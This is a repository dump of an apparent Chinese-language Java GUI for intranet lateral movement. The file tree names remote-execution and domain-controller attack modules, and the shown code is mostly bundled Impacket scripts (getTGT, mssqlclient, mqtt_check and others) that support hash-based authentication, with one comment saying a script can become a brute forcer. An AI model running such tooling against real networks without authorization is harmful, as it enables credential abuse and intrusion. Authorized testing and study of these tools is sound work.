├── .idea ├── artifacts │ └── J8_GUI_jar.xml ├── compiler.xml ├── encodings.xml ├── jarRepositories.xml ├── libraries │ ├── Maven__cn_hutool_hutool_all_5_8_20.xml │ ├── Maven__com_hierynomus_asn_one_0_6_0.xml │ ├── Maven__com_hierynomus_smbj_0_12_0.xml │ ├── Maven__net_engio_mbassador_1_3_0.xml │ ├── Maven__org_apache_commons_commons_lang3_3_3_2.xml │ ├── Maven__org_bouncycastle_bcprov_jdk15on_1_70.xml │ └── Maven__org_slf4j_slf4j_api_1_7_36.xml ├── misc.xml ├── modules.xml ├── qaplug_profiles.xml ├── vcs.xml └── workspace.xml ├── Intranet-tools.zip ├── J8-GUI.iml ├── README.md ├── plugins ├── examples │ ├── DumpNTLMInfo.py │ ├── Get-GPPPassword.py │ ├── GetADUsers.py │ ├── GetNPUsers.py │ ├── GetUserSPNs.py │ ├── addcomputer.py │ ├── atexec.py │ ├── changepasswd.py │ ├── dcomexec.py │ ├── dpapi.py │ ├── esentutl.py │ ├── exchanger.py │ ├── findDelegation.py │ ├── getArch.py │ ├── getPac.py │ ├── getST.py │ ├── getTGT.py │ ├── goldenPac.py │ ├── karmaSMB.py │ ├── keylistattack.py │ ├── kintercept.py │ ├── lookupsid.py │ ├── machine_role.py │ ├── mimikatz.py │ ├── mqtt_check.py │ ├── mssqlclient.py │ ├── mssqlinstance.py │ ├── net.py │ ├── netview.py │ ├── nmapAnswerMachine.py │ ├── ntfs-read.py │ ├── ntlmrelayx.py │ ├── ping.py │ ├── ping6.py │ ├── psexec.py │ ├── raiseChild.py │ ├── rbcd.py │ ├── rdp_check.py │ ├── reg.py │ ├── registry-read.py │ ├── rpcdump.py │ ├── rpcmap.py │ ├── sambaPipe.py │ ├── samrdump.py │ ├── secretsdump.py │ ├── services.py │ ├── smbclient.py │ ├── smbexec.py │ ├── smbpasswd.py │ ├── smbrelayx.py │ ├── smbserver.py │ ├── sniff.py │ ├── sniffer.py │ ├── split.py │ ├── ticketConverter.py │ ├── ticketer.py │ ├── tstool.py │ ├── wmiexec.py │ ├── wmipersist.py │ └── wmiquery.py └── impacket │ ├── Dot11Crypto.py │ ├── Dot11KeyManager.py │ ├── ICMP6.py │ ├── IP6.py │ ├── IP6_Address.py │ ├── IP6_Extension_Headers.py │ ├── ImpactDecoder.py │ ├── ImpactPacket.py │ ├── NDP.py │ ├── __init__.py │ ├── cdp.py │ ├── crypto.py │ ├── dcerpc │ ├── __init__.py │ └── v5 │ │ ├── __init__.py │ │ ├── atsvc.py │ │ ├── bkrp.py │ │ ├── dcom │ │ ├── __init__.py │ │ ├── comev.py │ │ ├── oaut.py │ │ ├── scmp.py │ │ ├── vds.py │ │ └── wmi.py │ │ ├── dcomrt.py │ │ ├── dhcpm.py │ │ ├── drsuapi.py │ │ ├── dssp.py │ │ ├── dtypes.py │ │ ├── enum.py │ │ ├── epm.py │ │ ├── even.py │ │ ├── even6.py │ │ ├── iphlp.py │ │ ├── lsad.py │ │ ├── lsat.py │ │ ├── mgmt.py │ │ ├── mimilib.py │ │ ├── ndr.py │ │ ├── nrpc.py │ │ ├── nspi.py │ │ ├── oxabref.py │ │ ├── par.py │ │ ├── rpch.py │ │ ├── rpcrt.py │ │ ├── rprn.py │ │ ├── rrp.py │ │ ├── samr.py │ │ ├── sasec.py │ │ ├── scmr.py │ │ ├── srvs.py │ │ ├── transport.py │ │ ├── tsch.py │ │ ├── tsts.py │ │ └── wkst.py │ ├── dhcp.py │ ├── dns.py │ ├── dot11.py │ ├── dpapi.py │ ├── eap.py │ ├── ese.py │ ├── examples │ ├── __init__.py │ ├── ldap_shell.py │ ├── logger.py │ ├── mssqlshell.py │ ├── ntlmrelayx │ │ ├── __init__.py │ │ ├── attacks │ │ │ ├── __init__.py │ │ │ ├── dcsyncattack.py │ │ │ ├── httpattack.py │ │ │ ├── httpattacks │ │ │ │ ├── __init__.py │ │ │ │ └── adcsattack.py │ │ │ ├── imapattack.py │ │ │ ├── ldapattack.py │ │ │ ├── mssqlattack.py │ │ │ ├── rpcattack.py │ │ │ └── smbattack.py │ │ ├── clients │ │ │ ├── __init__.py │ │ │ ├── dcsyncclient.py │ │ │ ├── httprelayclient.py │ │ │ ├── imaprelayclient.py │ │ │ ├── ldaprelayclient.py │ │ │ ├── mssqlrelayclient.py │ │ │ ├── rpcrelayclient.py │ │ │ ├── smbrelayclient.py │ │ │ └── smtprelayclient.py │ │ ├── servers │ │ │ ├── __init__.py │ │ │ ├── httprelayserver.py │ │ │ ├── rawrelayserver.py │ │ │ ├── smbrelayserver.py │ │ │ ├── socksplugins │ │ │ │ ├── __init__.py │ │ │ │ ├── http.py │ │ │ │ ├── https.py │ │ │ │ ├── imap.py │ │ │ │ ├── imaps.py │ │ │ │ ├── mssql.py │ │ │ │ ├── smb.py │ │ │ │ └── smtp.py │ │ │ ├── socksserver.py │ │ │ └── wcfrelayserver.py │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── config.py │ │ │ ├── enum.py │ │ │ ├── ssl.py │ │ │ ├── targetsutils.py │ │ │ └── tcpshell.py │ ├── os_ident.py │ ├── remcomsvc.py │ ├── rpcdatabase.py │ ├── secretsdump.py │ ├── serviceinstall.py │ ├── smbclient.py │ └── utils.py │ ├── helper.py │ ├── hresult_errors.py │ ├── http.py │ ├── krb5 │ ├── __init__.py │ ├── asn1.py │ ├── ccache.py │ ├── constants.py │ ├── crypto.py │ ├── gssapi.py │ ├── kerberosv5.py │ ├── keytab.py │ ├── kpasswd.py │ ├── pac.py │ └── types.py │ ├── ldap │ ├── __init__.py │ ├── ldap.py │ ├── ldapasn1.py │ └── ldaptypes.py │ ├── mapi_constants.py │ ├── mqtt.py │ ├── nmb.py │ ├── nt_errors.py │ ├── ntlm.py │ ├── pcap_linktypes.py │ ├── pcapfile.py │ ├── smb.py │ ├── smb3.py │ ├── smb3structs.py │ ├── smbconnection.py │ ├── smbserver.py │ ├── spnego.py │ ├── structure.py │ ├── system_errors.py │ ├── tds.py │ ├── uuid.py │ ├── version.py │ ├── winregistry.py │ └── wps.py ├── pom.xml └── src ├── .DS_Store ├── main ├── .DS_Store ├── java │ ├── .DS_Store │ └── com │ │ ├── .DS_Store │ │ └── ajie │ │ ├── .DS_Store │ │ ├── controller │ │ ├── .DS_Store │ │ ├── ATexec │ │ │ ├── CiphermodeController.java │ │ │ └── HashmodeController.java │ │ ├── AllController.java │ │ ├── DCOMexec │ │ │ ├── CiphermodeController.java │ │ │ └── HashmodeController.java │ │ ├── DC_attack │ │ │ ├── FileSearchController.java │ │ │ ├── MS17010Controller.java │ │ │ ├── SamTheAdminController.java │ │ │ ├── ZerologonAttackController.java │ │ │ └── ZerologonScanController.java │ │ ├── SMBexec │ │ │ ├── CiphermodeController.java │ │ │ └── HashmodeController.java │ │ ├── psexec │ │ │ ├── CiphermodeController.java │ │ │ └── HashmodeController.java │ │ └── wmiexec │ │ │ ├── CiphermodeController.java │ │ │ └── HashmodeController.java │ │ └── sample │ │ └── Main.java └── resources │ ├── META-INF │ └── MANIFEST.MF │ └── main_fxml │ └── sample.fxml └── test └── java ├── CommandLineInteractive.java ├── SmbTest.java └── plugins └── examples └── psexec.py /.idea/artifacts/J8_GUI_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/J8_GUI_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 20 | 21 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__cn_hutool_hutool_all_5_8_20.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_hierynomus_asn_one_0_6_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_hierynomus_smbj_0_12_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__net_engio_mbassador_1_3_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_commons_commons_lang3_3_3_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_bouncycastle_bcprov_jdk15on_1_70.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_36.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 15 | 16 | 17 | 18 | 20 | 21 | 23 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Intranet-tools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/Intranet-tools.zip -------------------------------------------------------------------------------- /J8-GUI.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 编译 2 | 项目中未使用maven,打包需要build 3 | 4 | image 5 | 6 | 7 | image 8 | 9 | 10 | image 11 | 12 | 13 | image 14 | 15 | 或者直接下载tags下的包 16 | 17 | wmiexec模块 18 | 19 | image 20 | 21 | image 22 | 23 | 24 | 25 | psexec模块 26 | 27 | image 28 | 29 | image 30 | 31 | 32 | smbexec模块 33 | smbexec模块需要写交互式shell,自己调试了两天还是有问题,重写模块,使用jcifs显示超时无法访问,发布github有两个原因吧,一个是先用着,二是寻求帮助希望有厉害的大佬帮忙解决下 34 | 35 | image 36 | 37 | atexec模块 38 | 39 | image 40 | 41 | image 42 | 43 | 44 | dcomexec模块 45 | 46 | image 47 | 48 | image 49 | 50 | 51 | 52 | 53 | dc模块 54 | 暂时未写,工作繁忙,备考等等,后续慢慢更新。 55 | 56 | image 57 | 58 | -------------------------------------------------------------------------------- /plugins/examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # ESE utility. Allows dumping catalog, pages and tables. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Extensive Storage Engine (ese) 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import sys 23 | import logging 24 | import argparse 25 | 26 | from impacket.examples import logger 27 | from impacket import version 28 | from impacket.ese import ESENT_DB 29 | 30 | 31 | def dumpPage(ese, pageNum): 32 | data = ese.getPage(pageNum) 33 | data.dump() 34 | 35 | def exportTable(ese, tableName): 36 | cursor = ese.openTable(tableName) 37 | if cursor is None: 38 | logging.error('Can"t get a cursor for table: %s' % tableName) 39 | return 40 | 41 | i = 1 42 | print("Table: %s" % tableName) 43 | while True: 44 | try: 45 | record = ese.getNextRow(cursor) 46 | except Exception: 47 | logging.debug('Exception:', exc_info=True) 48 | logging.error('Error while calling getNextRow(), trying the next one') 49 | continue 50 | 51 | if record is None: 52 | break 53 | print("*** %d" % i) 54 | for j in list(record.keys()): 55 | if record[j] is not None: 56 | print("%-30s: %r" % (j, record[j])) 57 | i += 1 58 | 59 | def main(): 60 | print(version.BANNER) 61 | # Init the example's logger theme 62 | logger.init() 63 | 64 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 65 | "catalog, pages and tables.") 66 | parser.add_argument('databaseFile', action='store', help='ESE to open') 67 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 68 | parser.add_argument('-page', action='store', help='page to open') 69 | 70 | subparsers = parser.add_subparsers(help='actions', dest='action') 71 | 72 | # dump page 73 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 74 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 75 | 76 | # info page 77 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 78 | 79 | # export page 80 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 81 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 82 | 83 | if len(sys.argv)==1: 84 | parser.print_help() 85 | sys.exit(1) 86 | 87 | options = parser.parse_args() 88 | 89 | if options.debug is True: 90 | logging.getLogger().setLevel(logging.DEBUG) 91 | # Print the Library's installation path 92 | logging.debug(version.getInstallationPath()) 93 | else: 94 | logging.getLogger().setLevel(logging.INFO) 95 | 96 | ese = ESENT_DB(options.databaseFile) 97 | 98 | try: 99 | if options.action.upper() == 'INFO': 100 | ese.printCatalog() 101 | elif options.action.upper() == 'DUMP': 102 | dumpPage(ese, int(options.page)) 103 | elif options.action.upper() == 'EXPORT': 104 | exportTable(ese, options.table) 105 | else: 106 | raise Exception('Unknown action %s ' % options.action) 107 | except Exception as e: 108 | if logging.getLogger().level == logging.DEBUG: 109 | import traceback 110 | traceback.print_exc() 111 | print(e) 112 | ese.close() 113 | 114 | 115 | if __name__ == '__main__': 116 | main() 117 | sys.exit(1) 118 | -------------------------------------------------------------------------------- /plugins/examples/getArch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type 12 | # installed. 13 | # The trick has been discovered many years ago and is actually documented by Microsoft here: 14 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 15 | # and doesn't require any authentication at all. 16 | # 17 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. 18 | # 19 | # Author: 20 | # beto (@agsolino) 21 | # 22 | # Reference for: 23 | # RPCRT, NDR 24 | # 25 | 26 | from __future__ import division 27 | from __future__ import print_function 28 | import argparse 29 | import logging 30 | import sys 31 | 32 | from impacket import version 33 | from impacket.examples import logger 34 | from impacket.dcerpc.v5.rpcrt import DCERPCException 35 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 36 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP 37 | 38 | 39 | class TARGETARCH: 40 | def __init__(self, options): 41 | self.__machinesList = list() 42 | self.__options = options 43 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 44 | 45 | def run(self): 46 | if self.__options.targets is not None: 47 | for line in self.__options.targets.readlines(): 48 | self.__machinesList.append(line.strip(' \r\n')) 49 | else: 50 | self.__machinesList.append(self.__options.target) 51 | 52 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) 53 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) 54 | 55 | for machine in self.__machinesList: 56 | try: 57 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine 58 | transport = DCERPCTransportFactory(stringBinding) 59 | transport.set_connect_timeout(int(self.__options.timeout)) 60 | dce = transport.get_dce_rpc() 61 | dce.connect() 62 | try: 63 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) 64 | except DCERPCException as e: 65 | if str(e).find('syntaxes_not_supported') >= 0: 66 | print('%s is 32-bit' % machine) 67 | else: 68 | logging.error(str(e)) 69 | pass 70 | else: 71 | print('%s is 64-bit' % machine) 72 | 73 | dce.disconnect() 74 | except Exception as e: 75 | #import traceback 76 | #traceback.print_exc() 77 | logging.error('%s: %s' % (machine, str(e))) 78 | 79 | # Process command-line arguments. 80 | if __name__ == '__main__': 81 | # Init the example's logger theme 82 | logger.init() 83 | print(version.BANNER) 84 | 85 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") 86 | parser.add_argument('-target', action='store', help='') 87 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 88 | 'from (one per line). ') 89 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') 90 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 91 | 92 | if len(sys.argv)==1: 93 | parser.print_help() 94 | sys.exit(1) 95 | 96 | options = parser.parse_args() 97 | 98 | if options.target is None and options.targets is None: 99 | logging.error('You have to specify a target!') 100 | sys.exit(1) 101 | 102 | if options.debug is True: 103 | logging.getLogger().setLevel(logging.DEBUG) 104 | # Print the Library's installation path 105 | logging.debug(version.getInstallationPath()) 106 | else: 107 | logging.getLogger().setLevel(logging.INFO) 108 | 109 | try: 110 | getArch = TARGETARCH(options) 111 | getArch.run() 112 | except (Exception, KeyboardInterrupt) as e: 113 | if logging.getLogger().level == logging.DEBUG: 114 | import traceback 115 | traceback.print_exc() 116 | logging.error(str(e)) 117 | sys.exit(0) 118 | -------------------------------------------------------------------------------- /plugins/examples/getTGT.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Given a password, hash or aesKey, it will request a TGT and save it as ccache 12 | # 13 | # Examples: 14 | # ./getTGT.py -hashes lm:nt contoso.com/user 15 | # 16 | # Author: 17 | # Alberto Solino (@agsolino) 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import argparse 23 | import logging 24 | import sys 25 | from binascii import unhexlify 26 | 27 | from impacket import version 28 | from impacket.examples import logger 29 | from impacket.examples.utils import parse_credentials 30 | from impacket.krb5.kerberosv5 import getKerberosTGT 31 | from impacket.krb5 import constants 32 | from impacket.krb5.types import Principal 33 | 34 | 35 | class GETTGT: 36 | def __init__(self, target, password, domain, options): 37 | self.__password = password 38 | self.__user= target 39 | self.__domain = domain 40 | self.__lmhash = '' 41 | self.__nthash = '' 42 | self.__aesKey = options.aesKey 43 | self.__options = options 44 | self.__kdcHost = options.dc_ip 45 | if options.hashes is not None: 46 | self.__lmhash, self.__nthash = options.hashes.split(':') 47 | 48 | def saveTicket(self, ticket, sessionKey): 49 | logging.info('Saving ticket in %s' % (self.__user + '.ccache')) 50 | from impacket.krb5.ccache import CCache 51 | ccache = CCache() 52 | 53 | ccache.fromTGT(ticket, sessionKey, sessionKey) 54 | ccache.saveFile(self.__user + '.ccache') 55 | 56 | def run(self): 57 | userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 58 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 59 | unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, 60 | self.__kdcHost) 61 | self.saveTicket(tgt,oldSessionKey) 62 | 63 | if __name__ == '__main__': 64 | print(version.BANNER) 65 | 66 | parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " 67 | "TGT and save it as ccache") 68 | parser.add_argument('identity', action='store', help='[domain/]username[:password]') 69 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 70 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 71 | 72 | group = parser.add_argument_group('authentication') 73 | 74 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 75 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 76 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 77 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 78 | 'ones specified in the command line') 79 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 80 | '(128 or 256 bits)') 81 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 82 | 'ommited it use the domain part (FQDN) specified in the target parameter') 83 | 84 | if len(sys.argv)==1: 85 | parser.print_help() 86 | print("\nExamples: ") 87 | print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") 88 | print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") 89 | sys.exit(1) 90 | 91 | options = parser.parse_args() 92 | 93 | # Init the example's logger theme 94 | logger.init(options.ts) 95 | 96 | if options.debug is True: 97 | logging.getLogger().setLevel(logging.DEBUG) 98 | # Print the Library's installation path 99 | logging.debug(version.getInstallationPath()) 100 | else: 101 | logging.getLogger().setLevel(logging.INFO) 102 | 103 | domain, username, password = parse_credentials(options.identity) 104 | 105 | try: 106 | if domain is None: 107 | logging.critical('Domain should be specified!') 108 | sys.exit(1) 109 | 110 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 111 | from getpass import getpass 112 | password = getpass("Password:") 113 | 114 | if options.aesKey is not None: 115 | options.k = True 116 | 117 | executer = GETTGT(username, password, domain, options) 118 | executer.run() 119 | except Exception as e: 120 | if logging.getLogger().level == logging.DEBUG: 121 | import traceback 122 | traceback.print_exc() 123 | print(str(e)) 124 | -------------------------------------------------------------------------------- /plugins/examples/mqtt_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password 12 | # brute forcer quite easily. 13 | # 14 | # Author: 15 | # Alberto Solino (@agsolino) 16 | # 17 | # Reference for: 18 | # MQTT and Structure 19 | # 20 | 21 | from __future__ import print_function 22 | 23 | import argparse 24 | import logging 25 | import sys 26 | 27 | from impacket import version 28 | from impacket.examples import logger 29 | from impacket.examples.utils import parse_target 30 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection 31 | 32 | class MQTT_LOGIN: 33 | def __init__(self, username, password, target, options): 34 | self._options = options 35 | self._username = username 36 | self._password = password 37 | self._target = target 38 | 39 | if self._username == '': 40 | self._username = None 41 | 42 | def run(self): 43 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) 44 | 45 | if self._options.client_id is None: 46 | clientId = ' ' 47 | else: 48 | clientId = self._options.client_id 49 | 50 | mqtt.connect(clientId, self._username, self._password) 51 | 52 | logging.info(CONNECT_ACK_ERROR_MSGS[0]) 53 | 54 | if __name__ == '__main__': 55 | # Init the example's logger theme 56 | logger.init() 57 | print(version.BANNER) 58 | parser = argparse.ArgumentParser(add_help=False, 59 | description="MQTT login check") 60 | parser.add_argument("--help", action="help", help='show this help message and exit') 61 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 62 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') 63 | parser.add_argument('-ssl', action='store_true', help='turn SSL on') 64 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') 65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 66 | 67 | try: 68 | options = parser.parse_args() 69 | except Exception as e: 70 | logging.error(str(e)) 71 | sys.exit(1) 72 | 73 | if options.debug is True: 74 | logging.getLogger().setLevel(logging.DEBUG) 75 | # Print the Library's installation path 76 | logging.debug(version.getInstallationPath()) 77 | else: 78 | logging.getLogger().setLevel(logging.INFO) 79 | 80 | domain, username, password, address = parse_target(options.target) 81 | 82 | check_mqtt = MQTT_LOGIN(username, password, address, options) 83 | try: 84 | check_mqtt.run() 85 | except Exception as e: 86 | if logging.getLogger().level == logging.DEBUG: 87 | import traceback 88 | traceback.print_exc() 89 | logging.error(e) 90 | -------------------------------------------------------------------------------- /plugins/examples/mssqlclient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # [MS-TDS] & [MC-SQLR] example. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Structure 18 | # 19 | 20 | import argparse 21 | import sys 22 | import logging 23 | 24 | from impacket.examples import logger 25 | from impacket.examples.mssqlshell import SQLSHELL 26 | from impacket.examples.utils import parse_target 27 | from impacket import version, tds 28 | 29 | 30 | if __name__ == '__main__': 31 | # Init the example's logger theme 32 | logger.init() 33 | print(version.BANNER) 34 | 35 | parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).") 36 | 37 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 38 | parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') 39 | parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') 40 | parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' 41 | 'Authentication (default False)') 42 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 43 | parser.add_argument('-show', action='store_true', help='show the queries') 44 | parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') 45 | 46 | group = parser.add_argument_group('authentication') 47 | 48 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 49 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 50 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 51 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 52 | 'ones specified in the command line') 53 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 54 | '(128 or 256 bits)') 55 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 56 | 'ommited it use the domain part (FQDN) specified in the target parameter') 57 | 58 | if len(sys.argv)==1: 59 | parser.print_help() 60 | sys.exit(1) 61 | 62 | options = parser.parse_args() 63 | 64 | if options.debug is True: 65 | logging.getLogger().setLevel(logging.DEBUG) 66 | # Print the Library's installation path 67 | logging.debug(version.getInstallationPath()) 68 | else: 69 | logging.getLogger().setLevel(logging.INFO) 70 | 71 | domain, username, password, address = parse_target(options.target) 72 | 73 | if domain is None: 74 | domain = '' 75 | 76 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 77 | from getpass import getpass 78 | password = getpass("Password:") 79 | 80 | if options.aesKey is not None: 81 | options.k = True 82 | 83 | ms_sql = tds.MSSQL(address, int(options.port)) 84 | ms_sql.connect() 85 | try: 86 | if options.k is True: 87 | res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey, 88 | kdcHost=options.dc_ip) 89 | else: 90 | res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) 91 | ms_sql.printReplies() 92 | except Exception as e: 93 | logging.debug("Exception:", exc_info=True) 94 | logging.error(str(e)) 95 | res = False 96 | if res is True: 97 | shell = SQLSHELL(ms_sql, options.show) 98 | if options.file is None: 99 | shell.cmdloop() 100 | else: 101 | for line in options.file.readlines(): 102 | print("SQL> %s" % line, end=' ') 103 | shell.onecmd(line) 104 | ms_sql.disconnect() 105 | -------------------------------------------------------------------------------- /plugins/examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2023 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # [MC-SQLR] example. Retrieves the instances names from the target host 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Structure 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import argparse 23 | import sys 24 | import logging 25 | 